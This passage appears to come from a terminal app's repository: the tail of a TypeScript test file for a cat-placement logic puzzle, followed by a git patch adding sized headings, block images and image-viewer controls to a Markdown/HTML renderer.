createRng(9)), candidatePuzzle(7, createRng(9))); +}); + +test('200 seeds per size: sound, unique, logically solvable, deterministic', () => { + for (const size of [5, 6, 7, 8, 9]) { + for (let seed = 1; seed <= 200; seed += 1) { + const puzzle = makePuzzleOfSize(seed, size); + assert.ok(puzzle, `size ${size} seed ${seed}`); + assert.equal(puzzle.size, size); + assertSound(puzzle); + if (seed <= 3) assert.deepEqual(makePuzzleOfSize(seed, size), puzzle, 'the same seed rebuilds the same puzzle'); + } + } +}); + +test('10 x 10 puzzles are sound too (fewer seeds: they cost the most to find)', () => { + for (let seed = 1; seed <= 6; seed += 1) assertSound(makePuzzleOfSize(seed, 10)!); +}); + +test('makePuzzle: sizes by difficulty, ratings inside the band, deterministic, different seeds differ', () => { + const seen = new Set(); + for (const difficulty of DIFFICULTIES) { + const [low, high] = SIZES[difficulty]; + const [minLevel, maxLevel] = DIFFICULTY_LEVELS[difficulty]; + let exact = 0; + for (let seed = 1; seed <= 12; seed += 1) { + const puzzle = makePuzzle(seed * 31, difficulty); + assert.ok(puzzle.size >= low && puzzle.size <= high, `${difficulty} size ${puzzle.size}`); + assertSound(puzzle); + assert.equal(rate(puzzle.size, puzzle.regions).level, puzzle.level); + if (puzzle.exact) { exact += 1; assert.ok(puzzle.level >= minLevel && puzzle.level <= maxLevel); } + seen.add(puzzle.regions.join('')); + } + assert.ok(exact >= 10, `${difficulty}: most puzzles match the requested rating (${exact}/12)`); + assert.deepEqual(makePuzzle(77, difficulty), makePuzzle(77, difficulty)); + } + assert.ok(seen.size >= 40, 'seeds give different puzzles'); +}); + +test('difficulty is the hardest technique needed, not the board size', () => { + const expert = makePuzzle(5, 'expert'); + assert.ok(expert.level >= 4); + const board = new LogicBoard(expert.size, expert.regions); + const used = new Set(); + while (board.catCount < expert.size) { const step = board.nextStep()!; used.add(step.technique); board.apply(step); } + assert.ok(used.has('pair') || used.has('triple'), `expert needs pair or triple reasoning, used ${[...used].join(',')}`); + // some small boards need only singles, and some 5 x 5 boards need more than that + const levels = new Set(); + for (let seed = 1; seed <= 60; seed += 1) levels.add(makePuzzleOfSize(seed, 5)!.level); + assert.ok(levels.has(1) && [...levels].some(level => level >= 2)); + let simple: Puzzle & {level: number} | null = null; + for (let seed = 1; seed <= 60 && !simple; seed += 1) { const candidate = makePuzzleOfSize(seed, 5)!; if (candidate.level === 1) simple = candidate; } + const walk = new LogicBoard(5, simple!.regions); + while (walk.catCount < 5) { const step = walk.nextStep()!; assert.equal(step.technique, 'single'); walk.apply(step); } +}); + +test('generation is fast and bounded: well under 200 ms on average up to 9 x 9', () => { + for (const size of [5, 7, 8, 9]) { + const started = performance.now(); + const count = 30; + for (let seed = 1; seed <= count; seed += 1) assert.ok(makePuzzleOfSize(seed * 13, size)); + const average = (performance.now() - started) / count; + assert.ok(average < 200, `size ${size}: ${average.toFixed(1)} ms per puzzle`); + } + // every difficulty always returns something, however the dice fall + for (const difficulty of DIFFICULTIES) for (let seed = 900; seed < 906; seed += 1) assert.ok(makePuzzle(seed, difficulty).size >= 5); +}); + +test('hints: follow the logic from an empty board to the solution, and never touch what they read', () => { + for (const difficulty of DIFFICULTIES) { + const puzzle = makePuzzle(11, difficulty); + const marks = new Uint8Array(puzzle.size * puzzle.size); + const regions = [...puzzle.regions]; + const solution = [...puzzle.solution]; + let steps = 0; + for (; steps < 400; steps += 1) { + const before = marks.slice(); + const hint = nextHint(puzzle.size, puzzle.regions, puzzle.solution, marks); + assert.deepEqual(marks, before, 'reading a hint changes nothing'); + if (!hint) break; + assert.ok(hint.text.length > 10 && hint.targets.length > 0 && hint.changes.length > 0); + assert.notEqual(hint.technique, 'fix', 'a clean board never needs a fix'); + for (const change of hint.changes) marks[change.cell] = change.to; + } + assert.ok(steps > 0 && steps < 400); + assert.deepEqual([...marks].map(mark => mark === CAT), [...catsOf(puzzle)].map(mark => mark === CAT), `${difficulty}: hints alone finish the puzzle`); + assert.deepEqual(puzzle.regions, regions); + assert.deepEqual(puzzle.solution, solution); + } +}); + +test('hints: say what the technique is, in words, and flag a wrong cat or X first', () => { + const puzzle = makePuzzle(21, 'medium'); + const empty = new Uint8Array(puzzle.size * puzzle.size); + const first = nextHint(puzzle.size, puzzle.regions, puzzle.solution, empty)!; + assert.match(first.text, /\b(Row|Column|Region)\b|confined|can only hold|fit only|would leave/u); + // a cat that is not in the solution + const wrong = empty.slice(); + const cell = puzzle.solution.map((column, row) => row * puzzle.size + ((column + 3) % puzzle.size))[0]!; + wrong[cell] = CAT; + const fix = nextHint(puzzle.size, puzzle.regions, puzzle.solution, wrong)!; + assert.equal(fix.kind, 'fix'); + assert.deepEqual(fix.changes, [{cell, to: 0}]); + // an X on the only home of a cat + const home = puzzle.solution[2]! + 2 * puzzle.size; + const blocked = empty.slice(); + blocked[home] = EXCLUDED; + const clear = nextHint(puzzle.size, puzzle.regions, puzzle.solution, blocked)!; + assert.equal(clear.kind, 'fix'); + assert.match(clear.text, /^The X at row 3/u); + assert.equal(nextHint(puzzle.size, puzzle.regions, puzzle.solution, catsOf(puzzle)), undefined, 'a finished board has nothing to hint'); +}); + +test('board: toggles, exclusion, undo and redo round trip, clear is one undoable move', () => { + const board = new DokuBoard(makePuzzle(3, 'easy')); + const total = board.size * board.size; + assert.ok(board.toggleExclude(0)); + assert.equal(board.marks[0], EXCLUDED); + assert.ok(board.toggleCat(0), 'placing a cat over an X clears the X'); + assert.equal(board.marks[0], CAT); + assert.ok(!board.toggleExclude(0), 'x does not remove a cat'); + assert.ok(board.toggleCat(0)); + assert.equal(board.marks[0], 0); + board.toggleCat(1); board.toggleExclude(2); board.toggleCat(3); + const snapshot = board.marks.slice(); + assert.ok(board.clearMarks()); + assert.ok(board.marks.every(mark => mark === 0)); + assert.ok(board.undo()); + assert.deepEqual(board.marks, snapshot, 'undo brings the whole clear back'); + assert.ok(board.redo()); + assert.ok(board.marks.every(mark => mark === 0)); + while (board.undo()); + assert.ok(board.marks.every(mark => mark === 0)); + assert.ok(!board.canUndo && board.canRedo); + while (board.redo()); + assert.ok(board.marks.every(mark => mark === 0), 'the end of the redo line is the cleared board'); + board.toggleCat(5); + assert.ok(!board.canRedo, 'a new move drops the redo line'); + assert.equal(board.marks.length, total); + for (let index = 0; index < 600; index += 1) board.toggleExclude(index % total); + let undone = 0; + while (board.undo()) undone += 1; + assert.ok(undone <= 400, 'history is bounded'); +}); + +test('board: completion is detected when the rules hold, not by comparison', () => { + const board = new DokuBoard(makePuzzle(4, 'easy')); + assert.ok(!board.solved); + board.puzzle.solution.forEach((column, row) => board.toggleCat(row * board.size + column)); + assert.ok(board.solved); + board.toggleExclude(0); + assert.ok(board.solved || board.marks[0] === CAT, 'extra X marks do not matter'); +}); + +test('persistence: a board survives its record; every corrupt field is discarded', () => { + const board = new DokuBoard(makePuzzle(8, 'medium')); + board.toggleCat(10); board.toggleExclude(11); + board.elapsedMs = 83_456; board.hints = 2; + const stored = JSON.parse(JSON.stringify(board.toRecord())); + const back = readCurrent(stored)!; + assert.ok(back); + assert.deepEqual([...back.marks], [...board.marks]); + assert.deepEqual(back.puzzle.regions, board.puzzle.regions); + assert.deepEqual(back.puzzle.solution, board.puzzle.solution); + assert.equal(back.elapsedMs, 83_456); + assert.equal(back.hints, 2); + assert.equal(back.difficulty, 'medium'); + assert.equal(back.seed, board.seed); + const mutations: Array<[string, (value: Record) => void]> = [ + ['size', value => { value.size = 99; }], ['size type', value => { value.size = '7'; }], ['difficulty', value => { value.difficulty = 'nightmare'; }], + ['seed', value => { value.seed = -1; }], ['hints', value => { value.hints = 1.5; }], ['elapsed', value => { value.elapsedMs = -5; }], + ['elapsed nan', value => { value.elapsedMs = null; }], + ['regions length', value => { value.regions = (value.regions as string).slice(1); }], ['regions letter', value => { value.regions = 'Z'.repeat(49); }], + ['region missing', value => { value.regions = (value.regions as string).replace(/B/gu, 'A'); }], + ['region split', value => { const text = [...(value.regions as string)]; text[0] = text[48] === text[0] ? 'B' : text[48]!; value.regions = text.join(''); }], + ['marks char', value => { value.marks = 'q'.repeat(49); }], ['marks length', value => { value.marks = '.'; }], + ['solution', value => { value.solution = '0,0,0,0,0,0,0'; }], ['solution type', value => { value.solution = [1, 2]; }], ['solution range', value => { value.solution = '9,9,9,9,9,9,9'; }], + ['not unique', value => { value.regions = [...Array(49).keys()].map(cell => String.fromCharCode(65 + Math.floor(cell / 7))).join(''); }], + ]; + for (const [name, mutate] of mutations) { + const copy = JSON.parse(JSON.stringify(stored)) as Record; + mutate(copy); + assert.equal(readCurrent(copy), undefined, `corrupt ${name} is discarded`); + } + for (const junk of [null, 5, 'x', [], {}, {size: 7}]) assert.equal(readCurrent(junk), undefined); +}); + +test('statistics: read defensively, written back bounded', () => { + const stats = readStats({bestTimes: {easy: 61_000, medium: -5, hard: 'fast', expert: 1.5}, completed: 4, completedByDifficulty: {easy: 3, medium: 'x'}, streak: -1, bestStreak: 7}); + assert.deepEqual(stats.bestTimes, {easy: 61_000}); + assert.equal(stats.completed, 4); + assert.deepEqual(stats.completedByDifficulty, {easy: 3, medium: 0, hard: 0, expert: 0}); + assert.equal(stats.streak, 0); + assert.equal(stats.bestStreak, 7); + assert.deepEqual(readStats({}).bestTimes, {}); + assert.deepEqual(readStats({bestTimes: 5, completedByDifficulty: [] as unknown as object}).completedByDifficulty, {easy: 0, medium: 0, hard: 0, expert: 0}); + const record: Record = {}; + writeStats(record as never, stats); + assert.deepEqual(readStats(record), stats); + assert.equal(formatTime(0), '0:00'); + assert.equal(formatTime(61_999), '1:01'); + assert.equal(formatTime(3_725_000), '1:02:05'); +}); + +test('layout: the biggest cells that fit, and nothing that does not', () => { + for (let size = 5; size <= 10; size += 1) { + for (const columns of [20, 30, 40, 60, 80, 120, 200]) { + for (const rows of [8, 12, 16, 24, 40, 60]) { + const layout = chooseLayout(columns, rows, size); + if (!layout) continue; + assert.ok(layout.x + layout.width <= columns && layout.y + layout.height <= rows - 1); + assert.ok(layout.x >= 0 && layout.y >= 1); + assert.equal(layout.width, boardWidth(layout.style, size)); + assert.equal(layout.height, boardHeight(layout.style, size)); + } + } + } + assert.equal(chooseLayout(200, 60, 5)!.style.name, 'large'); + assert.equal(chooseLayout(80, 24, 9)!.style.name, 'compact'); + assert.equal(chooseLayout(20, 8, 5)!.style.name, 'mini'); + assert.equal(chooseLayout(20, 8, 10), undefined); + assert.equal(CELL_STYLES.length, 5); +}); From 7d9ac301b32bb4daf9166d6add194a491a15a905 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Tue, 20 Oct 2026 13:53:07 +0530 Subject: [PATCH 121/157] Documents: sized headings and block images in the Markdown/HTML renderer, viewer overlays, DocumentImages provider --- src/markdown/html.ts | 5 +- src/markdown/inline.ts | 6 +- src/markdown/render.ts | 108 +++++++++++++++++- src/ui/textSizing.ts | 6 +- src/ui/typography.ts | 5 + src/viewer/ViewerPanel.ts | 73 +++++++++--- src/viewer/documentImages.ts | 148 +++++++++++++++++++++++++ tests/documentTypography.test.ts | 184 +++++++++++++++++++++++++++++++ 8 files changed, 512 insertions(+), 23 deletions(-) create mode 100644 src/viewer/documentImages.ts create mode 100644 tests/documentTypography.test.ts diff --git a/src/markdown/html.ts b/src/markdown/html.ts index 12f89b76..bd228cd8 100644 --- a/src/markdown/html.ts +++ b/src/markdown/html.ts @@ -130,7 +130,10 @@ function inlineText(nodes: readonly Node[]): string { const name = node.name; if (DROPPED.has(name)) continue; if (name === 'br') out += ' '; - else if (name === 'img') out += `${escapeAttribute(imageLabel(node.attributes))}`; + else if (name === 'img') { + const src = decodeEntities(node.attributes.src ?? '').trim().slice(0, 2000); + out += `${escapeAttribute(imageLabel(node.attributes))}`; + } else if (name === 'input') out += node.attributes.type?.toLowerCase() === 'checkbox' ? ('checked' in node.attributes ? '☑ ' : '☐ ') : ''; else if (CODE.has(name)) out += `${escapeAttribute(decodeEntities(textContent(node.children)).replace(/\s+/gu, ' '))}`; else if (STRONG.has(name)) out += `${inlineText(node.children)}`; diff --git a/src/markdown/inline.ts b/src/markdown/inline.ts index 9358f9b5..ec2d4b7f 100644 --- a/src/markdown/inline.ts +++ b/src/markdown/inline.ts @@ -22,6 +22,8 @@ export interface InlineStyle { link?: string; /** Text of an image (its alt text): shown, never fetched. */ image?: boolean; + /** The image's source reference as written (bounded). Never fetched here: the graphics service decides what may be read. */ + src?: string; } export interface InlineSpan { @@ -226,7 +228,7 @@ function tokenize(source: string, options: InlineOptions): Token[] { flush(); const label = source.slice(open + 1, close); const url = safeLink(target.url); - if (image) tokens.push({kind: 'span', span: [{text: label.trim() || 'image', style: {image: true}}]}); + if (image) tokens.push({kind: 'span', span: [{text: label.trim() || 'image', style: {image: true, ...(target.url ? {src: target.url.slice(0, 2000)} : {})}}]}); else { const inner = parseInline(label, options).map(span => ({text: span.text, style: {...span.style, ...(url && !span.style.code ? {link: url} : {})}})); // A link whose target was refused still shows its text, and the refused target as text so nothing is hidden. @@ -293,7 +295,7 @@ function htmlTag(tag: NonNullable>, source: string, c return tag.end; } if (name === 'br') { tokens.push({kind: 'text', text: ' '}); return tag.end; } - if (name === 'img') { tokens.push({kind: 'span', span: [{text: imageLabel(tag.attributes), style: {image: true}}]}); return tag.end; } + if (name === 'img') { const src = decodeEntities(tag.attributes.src ?? '').trim().slice(0, 2000); tokens.push({kind: 'span', span: [{text: imageLabel(tag.attributes), style: {image: true, ...(src ? {src} : {})}}]}); return tag.end; } if (name === 'input' && tag.attributes.type?.toLowerCase() === 'checkbox') { tokens.push({kind: 'text', text: 'checked' in tag.attributes ? '☑ ' : '☐ '}); return tag.end; } if (CODE_TAGS.has(name) && !tag.selfClosing) { // Code is literal: its text up to the end tag, any markup inside dropped, references decoded (safely). diff --git a/src/markdown/render.ts b/src/markdown/render.ts index 7fe8aa36..085b1b05 100644 --- a/src/markdown/render.ts +++ b/src/markdown/render.ts @@ -9,6 +9,7 @@ import {parseBlocks, type Alignment, type Block} from './blocks.js'; import {htmlToBlocks} from './html.js'; import {highlightCode, type CodeTokenKind} from './highlight.js'; import {parseInline, plainInline, type InlineSpan, type InlineStyle} from './inline.js'; +import {typeset, type SizedBlock} from '../ui/typography.js'; /** * Markdown for untrusted text, as terminal rows: agent replies, provider command output and GitHub bodies. Every row @@ -17,7 +18,34 @@ import {parseInline, plainInline, type InlineSpan, type InlineStyle} from './inl * Safe glyphs replace every decorative character. The caller scrubs terminal controls first (`displayText`). */ -export type MarkdownRowKind = 'text' | 'heading' | 'code' | 'quote' | 'table' | 'rule' | 'list' | 'blank'; +export type MarkdownRowKind = 'text' | 'heading' | 'code' | 'quote' | 'table' | 'rule' | 'list' | 'blank' | 'image'; + +/** One image reference of a document as the renderer sees it: what to draw for it now. */ +export interface ImageSlot { + /** Position among the document's images, in order of first appearance (for "open in the image viewer"). */ + index: number; + /** Rows to draw at most `columns` x `maxRows` cells, or undefined while it cannot be shown (loading, refused, failed). */ + place(columns: number, maxRows: number): {lines: string[]; columns: number; rows: number} | undefined; + /** Why it is not drawn (a few words): "remote images are not fetched", "loading…". Shown beside the `[image: alt]` placeholder. */ + note?: string; +} + +/** What the renderer asks about a reference; it never reads a file or the network itself. */ +export interface ImageProvider { + slot(src: string, alt: string): ImageSlot | undefined; +} + +/** + * Rows that belong together as one block drawn by the terminal (a sized heading): the first row carries the sized form + * and the others are blank. A viewer that has all `of` rows on screen draws the block over them; otherwise the first row's + * ordinary text is what shows. + */ +export interface RowBlock { + id: number; + index: number; + of: number; + sized?: SizedBlock; +} export interface MarkdownRow { /** Styled row, at most `columns` cells, reset at its end. */ @@ -27,6 +55,10 @@ export interface MarkdownRow { kind: MarkdownRowKind; /** The code block a row belongs to (0-based, in source order), for copy-code actions. */ code?: number; + /** Set on every row of a sized heading. */ + block?: RowBlock; + /** Set on image rows: the image's index in the document. */ + image?: number; } export interface MarkdownOptions { @@ -40,6 +72,12 @@ export interface MarkdownOptions { tone?: 'primary' | 'secondary'; /** Render HTML inside the Markdown (`/view`, QA F01); otherwise tags are shown as text. */ html?: boolean; + /** Real images: an image alone in its paragraph is drawn as rows when the provider can show it; otherwise `[image: alt]`. */ + images?: ImageProvider; + /** The most rows one image may take. */ + maxImageRows?: number; + /** Headings may be sized blocks (only a viewer that places them passes this): the most rows a heading may take. */ + sizedHeadings?: {maxRows: number}; } const RESET = '\u001b[0m'; @@ -58,6 +96,10 @@ interface Context { tone: RgbColor; codeIndex: number; html: boolean; + images?: ImageProvider; + maxImageRows: number; + sizedHeadings?: {maxRows: number}; + blockIds: {next: number}; } function glyph(context: Context, nerd: string, safe: string): string { @@ -121,7 +163,10 @@ function atomsOf(spans: readonly InlineSpan[], context: Context, base: string): for (let index = 0; index < spans.length; index++) { const span = spans[index]!; let text = span.text; - if (span.style.image) text = `[image: ${text}]`; + if (span.style.image) { + const note = span.style.src ? context.images?.slot(span.style.src, span.text)?.note : undefined; + text = `[image: ${text}]${note ? ` (${note})` : ''}`; + } // Without color, code keeps its backticks so it never depends on color to read as code. if (span.style.code && context.level === 'none') text = `\`${text}\``; const sgr = spanSgr(span.style, context, base); @@ -220,7 +265,7 @@ function tokenSgr(kind: CodeTokenKind, context: Context): string { export function codeTokenStyle(kind: CodeTokenKind, options: {syntax?: SyntaxSgr; level?: ColorLevel} = {}): string { const level = options.level ?? colorLevel(); return tokenSgr(kind, {level, safe: false, hyperlinks: false, ...(options.syntax ? {syntax: options.syntax} : {}), - fg: color => colorEscape(38, color, level), tone: UI_COLORS.primary, codeIndex: 0, html: false}); + fg: color => colorEscape(38, color, level), tone: UI_COLORS.primary, codeIndex: 0, html: false, maxImageRows: 1, blockIds: {next: 1}}); } function codeRows(block: Extract, width: number, context: Context): MarkdownRow[] { @@ -317,6 +362,54 @@ function tableRows(block: Extract, width: number, contex return out; } +// ---- Typography and images ---------------------------------------------------------------------------------------- + +/** + * A heading as a sized block (see ui/typography): the same typography scale for Markdown `#` and HTML `

`-`

`, with + * the heading's inline styling kept piece by piece. Only top-level headings, and only when the viewer asked for them: a + * block cannot sit behind a list marker or a quote bar. + */ +function sizedHeading(block: Extract, width: number, context: Context, sgr: string, ordinary: MarkdownRow[]): MarkdownRow[] | undefined { + if (!context.sizedHeadings || ordinary.length !== 1) return undefined; + const spans = parseInline(block.text, {html: context.html}); + const segments = spans.filter(span => span.text).map(span => ({text: span.text.replace(/\s+/gu, ' '), sgr: spanSgr(span.style, context, sgr)})); + const text = segments.map(segment => segment.text).join('').trim(); + if (!text || segments.length > 24) return undefined; + const typed = typeset({role: 'heading', level: block.level, text, maxColumns: width, maxRows: context.sizedHeadings.maxRows, segments}); + if (!typed.sized) return undefined; + const id = context.blockIds.next++; + const first = ordinary[0]!; + return Array.from({length: typed.sized.rows}, (_, index) => index === 0 + ? {...first, block: {id, index, of: typed.sized!.rows, sized: typed.sized!}} + : {ansi: '', plain: '', kind: 'heading' as const, block: {id, index, of: typed.sized!.rows}}); +} + +/** + * A paragraph made only of images the provider can show: each image as its own rows, left aligned, with a quiet line naming + * a link's host when the image is also a link. Anything else (text around images, images not yet or never shown) keeps the + * ordinary reading, `[image: alt]` among the words. + */ +function imageParagraph(source: string, width: number, context: Context): MarkdownRow[] | undefined { + const provider = context.images; + if (!provider || width < 8) return undefined; + const spans = parseInline(source, {html: context.html}); + const images = spans.filter(span => span.style.image && span.style.src); + if (!images.length || spans.some(span => !(span.style.image && span.style.src) && span.text.trim())) return undefined; + const placed: Array<{span: InlineSpan; slot: ImageSlot; shown: {lines: string[]; columns: number; rows: number}}> = []; + for (const span of images) { + const slot = provider.slot(span.style.src!, span.text); + const shown = slot?.place(width, context.maxImageRows); + if (!slot || !shown) return undefined; + placed.push({span, slot, shown}); + } + const rows: MarkdownRow[] = []; + for (const {span, slot, shown} of placed) { + shown.lines.forEach((line, offset) => rows.push({ansi: `${line}${RESET}`, plain: offset === 0 ? `[image: ${span.text}]` : '', kind: 'image', image: slot.index})); + if (span.style.link) rows.push({ansi: `${context.fg(UI_COLORS.subtle)}${glyph(context, '↗', '->')} ${hostOf(span.style.link)}${RESET}`, plain: `-> ${hostOf(span.style.link)}`, kind: 'text'}); + } + return rows; +} + // ---- Blocks ------------------------------------------------------------------------------------------------------- const BULLETS = {nerd: ['•', '◦', '▪'], safe: ['-', '*', '+']}; @@ -329,12 +422,13 @@ function renderBlocks(blocks: readonly Block[], width: number, context: Context, if (!tight) gap(); switch (block.kind) { case 'paragraph': - for (const row of inlineRows(block.text, width, context, base)) out.push({...row, kind: 'text'}); + out.push(...(imageParagraph(block.text, width, context) ?? inlineRows(block.text, width, context, base).map(row => ({...row, kind: 'text' as const})))); break; case 'heading': { const role = block.level === 1 ? UI_COLORS.accent : block.level === 2 ? UI_COLORS.primary : UI_COLORS.secondary; const sgr = `${block.level <= 3 ? BOLD : ''}${block.level >= 4 ? ITALIC : ''}${context.fg(role)}`; - for (const row of inlineRows(block.text, width, context, sgr)) out.push({...row, kind: 'heading'}); + const ordinary = inlineRows(block.text, width, context, sgr).map(row => ({...row, kind: 'heading' as const})); + out.push(...(depth === 0 ? sizedHeading(block, width, context, sgr, ordinary) : undefined) ?? ordinary); break; } case 'code': @@ -402,6 +496,10 @@ function renderSource(source: string, columns: number, options: MarkdownOptions, tone: options.tone === 'secondary' ? UI_COLORS.secondary : UI_COLORS.primary, codeIndex: 0, html: Boolean(options.html), + ...(options.images ? {images: options.images} : {}), + maxImageRows: Math.max(1, options.maxImageRows ?? 16), + ...(options.sizedHeadings ? {sizedHeadings: options.sizedHeadings} : {}), + blockIds: {next: 1}, }; // The renderer never trusts its caller to have scrubbed: terminal controls and bidi formatting go, tabs become spaces. const safe = source.split('\n').map(line => stripTerminalControls(line.replace(/\t/gu, ' '), Number.MAX_SAFE_INTEGER)).join('\n'); diff --git a/src/ui/textSizing.ts b/src/ui/textSizing.ts index 636629f0..aa508c4b 100644 --- a/src/ui/textSizing.ts +++ b/src/ui/textSizing.ts @@ -83,6 +83,7 @@ export function osc66(text: string, step: Pick !isSizable(segment.text))) return undefined; const steps = request.role === 'title' || request.role === 'heading' || request.role === 'subheading' ? ROLE_STEPS[request.level !== undefined ? roleForLevel(request.level) : request.role] : ROLE_STEPS[request.role]; const maxRows = request.maxRows ?? 3; @@ -90,7 +91,10 @@ function sizedBlock(request: TypeRequest, text: string): SizedBlock | undefined for (const step of steps) { const columns = cells * step.s; if (step.s > maxRows || columns > request.maxColumns || request.maxColumns < step.minColumns) continue; - return {sequence: osc66(text, step), columns, rows: step.s}; + const sequence = request.segments?.length + ? request.segments.map(segment => `${segment.sgr}${osc66(segment.text, step)}\u001b[0m`).join('') + : osc66(text, step); + return {sequence, columns, rows: step.s}; } return undefined; } diff --git a/src/ui/typography.ts b/src/ui/typography.ts index 11872b5e..ed288f82 100644 --- a/src/ui/typography.ts +++ b/src/ui/typography.ts @@ -53,6 +53,11 @@ export interface TypeRequest { level?: number; fg?: Rgb; bg?: Rgb; + /** + * The text as styled pieces (bold, italic, code, links in a heading): each piece is drawn with its own SGR prefix, side by + * side at the same scale. When present, `text` is the pieces joined. A piece that cannot be sized means plain text. + */ + segments?: ReadonlyArray<{text: string; sgr: string}>; } /** A scaled block: the escape that draws it with the cursor at its top-left cell, and the cells it covers. */ diff --git a/src/viewer/ViewerPanel.ts b/src/viewer/ViewerPanel.ts index 6d383a6f..61f45da6 100644 --- a/src/viewer/ViewerPanel.ts +++ b/src/viewer/ViewerPanel.ts @@ -1,7 +1,8 @@ import type {Key} from '../terminal/keys.js'; import type {SyntaxSgr} from '../input/syntaxTheme.js'; import {graphemes} from '../input/inputLayout.js'; -import {codeTokenStyle, renderHtml, renderMarkdown, type MarkdownRow} from '../markdown/render.js'; +import {codeTokenStyle, renderHtml, renderMarkdown, type ImageProvider, type MarkdownRow, type RowBlock} from '../markdown/render.js'; +import type {TextOverlay} from '../arcade/Canvas.js'; import {highlightCode, type CodeToken} from '../markdown/highlight.js'; import {colorLevel} from '../presentation/capabilities.js'; import {renderControlRows} from '../ui/controls.js'; @@ -32,7 +33,7 @@ const BOLD = '\u001b[1m'; interface Segment {text: string; style: string} /** One logical line of what is shown: a source line (segments), or a rendered Markdown row (prestyled). */ -interface Unit {text: string; segments?: Segment[]; prestyled?: string; number?: number; rest?: number} +interface Unit {text: string; segments?: Segment[]; prestyled?: string; number?: number; rest?: number; block?: RowBlock} export interface ViewerState { document: ViewDocument; @@ -54,14 +55,25 @@ export interface ViewerState { /** Units the last drawing showed, for the position line. */ shown?: {first: number; last: number}; tokens?: CodeToken[][]; - markdown?: {width: number; rows: MarkdownRow[]}; + markdown?: {width: number; version: string; rows: MarkdownRow[]}; + /** Sized-text blocks (headings) drawn over the rows by the last render, positioned in the returned panel rows. */ + overlays?: TextOverlay[]; } export type ViewerAction = {kind: 'close'} | {kind: 'copy'; text: string; lines: number} | {kind: 'edit'; path: string} + /** Open image `index` of this document in the image viewer. */ + | {kind: 'image'; index: number} /** The file shown, for the person's own editor (the /open bridge); line is the first line on screen, when it is one. */ | {kind: 'open'; path: string; line?: number}; -export interface ViewerLook {syntax?: SyntaxSgr; hyperlinks?: boolean} +export interface ViewerLook { + syntax?: SyntaxSgr; + hyperlinks?: boolean; + /** Real images in the document, and a version that changes whenever one finishes loading (rows are drawn again). */ + images?: ImageProvider & {count: number; version: number}; + /** Headings may be drawn as sized blocks (the app places them); the cache key includes this. */ + sized?: boolean; +} export function createViewer(document: ViewDocument): ViewerState { const renderable = renders(document); @@ -149,9 +161,14 @@ function gutterWidth(state: ViewerState): number { } function markdownRows(state: ViewerState, width: number, look: ViewerLook): MarkdownRow[] { - if (state.markdown?.width !== width) { - const options = {...(look.syntax ? {syntax: look.syntax} : {}), hyperlinks: Boolean(look.hyperlinks)}; - state.markdown = {width, rows: state.document.format === 'html' ? renderHtml(state.document.text, width, options) : renderMarkdown(state.document.text, width, {...options, html: true})}; + const version = `${look.images?.version ?? 0}|${look.sized ? 'sized' : 'plain'}`; + if (state.markdown?.width !== width || state.markdown.version !== version) { + const options = { + ...(look.syntax ? {syntax: look.syntax} : {}), hyperlinks: Boolean(look.hyperlinks), + ...(look.images ? {images: look.images} : {}), + ...(look.sized ? {sizedHeadings: {maxRows: 3}} : {}), + }; + state.markdown = {width, version, rows: state.document.format === 'html' ? renderHtml(state.document.text, width, options) : renderMarkdown(state.document.text, width, {...options, html: true})}; } return state.markdown.rows; } @@ -175,7 +192,7 @@ function cellBudget(state: ViewerState, width: number): number { function unitAt(state: ViewerState, index: number, width: number, look: ViewerLook): Unit { if (state.rendered) { const row = markdownRows(state, width, look)[index]; - return {text: row?.plain ?? '', prestyled: row?.ansi ?? ''}; + return {text: row?.plain ?? '', prestyled: row?.ansi ?? '', ...(row?.block ? {block: row.block} : {})}; } const level = colorLevel(); const styleOf = (token: CodeToken) => level === 'none' ? '' : codeTokenStyle(token.kind, {...(look.syntax ? {syntax: look.syntax} : {}), level}); @@ -359,7 +376,7 @@ function step(state: ViewerState, direction: 1 | -1, width: number, height: numb export function viewerKey(state: ViewerState, key: Key, columns: number, height: number, look: ViewerLook = {}): ViewerAction | undefined { const width = contentWidth(state, columns); - const body = bodyHeight(state, columns, height); + const body = bodyHeight(state, columns, height, look); if (state.input) { const input = state.input; if (key.kind === 'escape' || key.kind === 'interrupt') { state.input = undefined; return undefined; } @@ -408,6 +425,14 @@ export function viewerKey(state: ViewerState, key: Key, columns: number, height: else if (text === ':') state.input = {kind: 'goto', value: ''}; else if (text === 'n' && state.query) step(state, 1, width, body, look); else if (text === 'N' && state.query) step(state, -1, width, body, look); + else if (text === 'i' && state.rendered && look.images) { + if (!look.images.count) state.note = 'No images in this document.'; + else { + const rows = markdownRows(state, width, look); + const shown = rows.slice(state.top).find(row => row.image !== undefined) ?? rows.find(row => row.image !== undefined); + return {kind: 'image', index: shown?.image ?? 0}; + } + } else if (text === 'c') return {kind: 'copy', text: state.document.text, lines: state.document.lines.length}; else if (text === 'e' && state.document.origin.kind === 'file') return {kind: 'edit', path: state.document.origin.path}; // Rendered Markdown rows are not source lines: the file then opens at its start. @@ -442,19 +467,20 @@ function headerRows(state: ViewerState, columns: number, height: number): string return rows; } -function controls(state: ViewerState, columns: number): string[] { +function controls(state: ViewerState, columns: number, look: ViewerLook): string[] { const width = Math.max(1, columns - 4); if (state.input) return renderControlRows([['Enter', state.input.kind === 'search' ? 'find' : 'go'], ['Esc', 'cancel']], width); return renderControlRows([ ['↑↓', 'scroll'], ['/', 'find'], ...(state.query ? [['n/N', 'next/previous'] as const] : []), [':', 'line'], ...(renders(state.document) ? [['m', state.rendered ? 'source' : 'rendered'] as const] : []), ...(!state.rendered ? [['w', state.wrap ? 'no wrap' : 'wrap'] as const, ['l', 'numbers'] as const] : []), + ...(state.rendered && look.images?.count ? [['i', 'images'] as const] : []), ['c', 'copy all'], ...(state.document.origin.kind === 'file' ? [['e', 'edit'] as const, ['o', 'open in editor'] as const] : []), ['Esc', 'close'], ], width); } -function bodyHeight(state: ViewerState, columns: number, height: number): number { - return Math.max(1, height - 2 - headerRows(state, columns, height).length - 1 - controls(state, columns).length); +function bodyHeight(state: ViewerState, columns: number, height: number, look: ViewerLook): number { + return Math.max(1, height - 2 - headerRows(state, columns, height).length - 1 - controls(state, columns, look).length); } function statusRow(state: ViewerState, width: number, total: number): string { @@ -476,12 +502,13 @@ function statusRow(state: ViewerState, width: number, total: number): string { export function renderViewer(state: ViewerState, columns: number, height: number, look: ViewerLook = {}): string[] { const width = contentWidth(state, columns); const gutter = gutterWidth(state); - const body = bodyHeight(state, columns, height); + const body = bodyHeight(state, columns, height, look); clampTop(state, width, body, look); const out = headerRows(state, columns, height); const total = unitCount(state, width, look); const subtle = 